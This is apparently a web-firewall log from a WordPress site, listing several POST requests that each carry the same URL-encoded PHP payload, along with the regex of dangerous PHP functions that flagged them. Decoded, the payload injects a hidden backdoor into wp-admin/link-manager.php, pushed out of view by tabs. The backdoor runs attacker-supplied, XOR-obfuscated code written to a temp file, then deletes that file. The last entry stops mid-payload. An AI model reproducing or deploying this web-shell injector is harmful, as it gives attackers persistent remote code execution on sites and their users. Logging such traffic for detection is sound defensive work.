["2026-05-12 09:49:47","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:3956\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nqV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:49","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncontent-length:3956\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\npK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:51","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-length:3956\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nvB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:49:52","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> uk:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/link-manager.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%2529%257B%2520%2524rec%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524parameter_group%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx62in%255Cx64%255Cx69%255Cx6Eg%2522%255D%2529%253B%2520%2524res%253D%2520%2527%2527%2520%253Bforeach%2528str_split%2528%2524parameter_group%2529%2520as%2520%2524char%2529%257B%2524res%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252082%2529%253B%257D%2520foreach%2520%2528%2524rec%2520as%2520%2524key%2520%253D%253E%2520%2524factor%2529%2520%257B%2520if%2520%2528%2528bool%2529is_dir%2528%2524factor%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524factor%2529%2529%2520%257B%2520%2524data%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524factor%252C%2520%2522.entity%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524data%252C%2520%2524res%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524data%253B%2520unlink%2528%2524data%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B